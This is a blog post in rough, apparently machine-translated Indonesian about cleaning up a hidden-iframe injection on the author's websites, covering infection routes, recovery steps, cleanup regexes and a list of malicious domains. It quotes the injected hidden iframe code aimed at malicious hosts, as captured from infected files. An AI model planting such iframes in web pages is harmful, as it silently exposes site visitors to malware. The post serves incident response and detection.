[Diperbarui pada tanggal 27 Oktober 2009 dengan baru versi] script
It is a shame bahwa setelah semua posting tentang keamanan, beberapa website saya diserang hari ini.
Shoban dan Anand diemail saya tentang pagi hari ini (Thanks guys) dan saya mencoba memahami apa yang sedang terjadi. Untuk percaya saya mengucapkan lebih dari 10 website host di server yang sama dipengaruhi oleh serangan itu.
Semua indeks .* file di server terinfeksi dengan sepotong kode yang bisa diisi dengan iframe tersembunyi di halaman.
Untuk halaman html potongan kode berikut telah ditambahkan:
<Iframe src = "http://goooogleadsence.biz/?click=8F9DA" width = 1 height = 1 style = "visibility: hidden; posisi: absolut"> </ iframe>
Untuk php halaman yang ditambahkan:
echo <iframe src=\"http://goooogleadsence.biz/?click=8F9DA\" "width=1 height=1 style=\"visibility:hidden;position:absolute\"> </> iframe";
Asha mengambil upaya dan dibersihkan sebagian besar file yang terinfeksi. Kami sedang memantau status sekarang.
Bagaimana cacing menyuntikkan iframe tersembunyi untuk file saya?
Ada dua cara melalui mana cacing diyakini menginfeksi file Anda:
1) Server dikompromikan
Ini adalah cara yang paling umum. O Beberapa situs-situs yang berada di web server yang sama dengan situs web Anda dapat mempengaruhi (o mungkin beberapa kerentanan dalam aplikasi Web Anda sendiri) yang menyebabkan web server untuk dikompromikan. Setelah server terganggu, worm akan menyebar ke semua situs di server.
2) sisi Klien FTP
Worm yang berada di beberapa / semua PC klien sisi Anda gunakan untuk mengakses ftp / accounts panel kontrol hosting server.
Ketika Anda mengetikkan username dan password untuk ftp / control panel account, worm diam-diam membaca identitasnya, mengakses account ftp Anda dan menginfeksi file-file di server. Ia menambahkan kode yang disebutkan di atas untuk semua indeks .* file.
Bagaimana saya bisa sembuh dari serangan injeksi iframe tersembunyi?
Berikut adalah beberapa tips yang dapat membantu Anda:
- Hal pertama yang harus dilakukan untuk mencegah serangan jenis ini adalah mengubah ftp Anda, panel kontrol dan password database sesegera mungkin.
- Beritahu web host Anda tentang serangan dan saran mereka untuk mengambil tindakan terhadap kemungkinan serangan server lebar.
- Mengubah hak akses file di server Anda ke modus aman maksimum.
- Download semua file dari server dan memeriksa infeksi. Bersihkan file yang terinfeksi.
- Menggunakan perangkat lunak antivirus yang baik, memindai dan membersihkan setiap PC yang Anda gunakan untuk login ke server hosting Anda.
- Jangan gunakan komputer umum untuk mengakses server Anda.
Bagaimana cara membersihkan file yang terinfeksi?
Menggunakan ekspresi reguler untuk mencari semua halaman containig kode berbahaya dan menggantinya dengan ruang:
<iframe src=\"http://[^"]*" width=1 height=1 style=\"visibility:hidden;position:absolute\"> </> iframe
echo \ "src=\\\"http://[^"]*\" <iframe width=1 height=1 style=\\\"visibility:hidden;position:absolute\\\"> </> iframe \ ";
Anda mungkin harus membuat script yang mengotomatisasi ini untuk semua file di server.
Aku telah dimasak sampai script php yang dapat membantu Anda menemukan file yang terinfeksi. Download file dari sini , simpan sebagai clean.php (saat ini clean.php.txt) dan meng-upload ke root folder dari situs Anda.
Anda mungkin ingin mengubah beberapa nilai hardcoded di dalam file.
Kemudian kunjungi url:
http://www.yourdomain.com/clean.php?c=iframe
C menentukan parameter teks untuk mencari di dalam file. Hasilnya akan menjadi sesuatu seperti:

Ini akan mencari semua file dalam situs web Anda dan jika ada file yang berisi string yang diberikan, akan mencetak nama file bersama dengan jumlah kejadian tali. Pada gambar di atas, Anda dapat melihat bahwa satu file yang terinfeksi.
Perhatikan bahwa script tidak akan menghapus iframe dari file Anda. pembersihan otomatis bisa mematahkan beberapa situs Anda. Jadi seperti yang sekarang Anda harus membersihkan file secara manual.
Faiz telah menulis skrip ASP.Net maju untuk menemukan file yang terinfeksi, dan dapat ditemukan di sini .
Apakah peringkat mesin pencari saya akan terpengaruh oleh serangan ini?
Cobalah untuk menjadi cepat dengan langkah-langkah karena jika pengunjung melihat pesan "Situs ini mungkin berbahaya bagi komputer Anda" pop up ketika (s) ia mencoba mengakses situs / blog, (s) ia tidak dapat kembali lagi. Ingat bahwa jika keamanan situs Web Anda terganggu, hal itu dapat mempengaruhi peringkat mesin pencari situs web. Selain itu dapat membuka jalan untuk serangan yang lebih canggih.
Google akan menandai situs Anda dalam hasil pencarian itu dengan peringatan: "Situs ini mungkin berbahaya bagi komputer Anda".
Gunakan link berikut untuk melihat apa google berpikir tentang situs web Anda (memberi url situs anda, bukan shopfloorbd.co.uk):
http://www.google.com/safebrowsing/diagnostic?site=http://shopfloorbd.co.uk
Sebagaimana disebutkan di atas, Anda harus menghapus malware dari komputer lokal Anda menggunakan beberapa perangkat lunak antivirus. AVG melihatnya sebagai "Trojan Horse Downloader" dan NOD32 melihatnya sebagai "JS / trojan Kryptik.B".
Perhatikan bahwa ketika mengunjungi situs yang terinfeksi, beberapa software antivirus meminta Anda bahwa "Trojan Horse Downloader", sebuah file exe-sedang mencoba untuk di-load. Setelah exe menginfeksi komputer anda, akan menginfeksi server Anda juga.
Berikut adalah beberapa contoh kode lebih ditangkap dari alam:
<iframe src="http://hostverify.net/?click=2730375" width=1 height=1 style="visibility:hidden;position:absolute"> </> iframe
<iframe src="http://hosttracker.net/?click=32431937" width=1 height=1 style="visibility:hidden;position:absolute">
Ada dikaburkan versi kode serangan juga:
<script> fungsi c102916999516l4956a7e7c979e (l4956a7e7c9b86) (... dll
Berikut ini adalah daftar beberapa website lain yang host konten berbahaya:
gumblar.cn
martuz.cn
beladen.net
38zu.cn
googleanalytlcs.net
lousecn.cn
fqwerz.cn
d99q.cn
orgsite.info
94.247.2.0
94.247.2.195
http://mmsreader.com
http://google-ana1yticz.com
http://my2.mobilesect.info
http://thedeadpit.com
http://internetcountercheck.com
http://165.194.30.123
http://ruoo.info
gogo2me.net /
http://live-counter.net
http://klinoneshoes.info
perlindungan-livescan.com /
http://webexperience13.com
http://q5x.ru
http://q5x.ru
gumblar.cn
martuz.cn
beladen.net
38zu.cn
googleanalytlcs.net
lousecn.cn
fqwerz.cn
d99q.cn
orgsite.info
94.247.2.0
94.247.2.195
http://mmsreader.com
http://google-ana1yticz.com
http://my2.mobilesect.info
http://thedeadpit.com
http://internetcountercheck.com
http://165.194.30.123
http://ruoo.info
gogo2me.net /
http://live-counter.net
http://klinoneshoes.info
perlindungan-livescan.com /
http://webexperience13.com
http://q5x.ru
Jika Anda menemukan url ini di kode dalam situs web Anda, itu adalah tanda ditembak yakin bahwa Anda terinfeksi.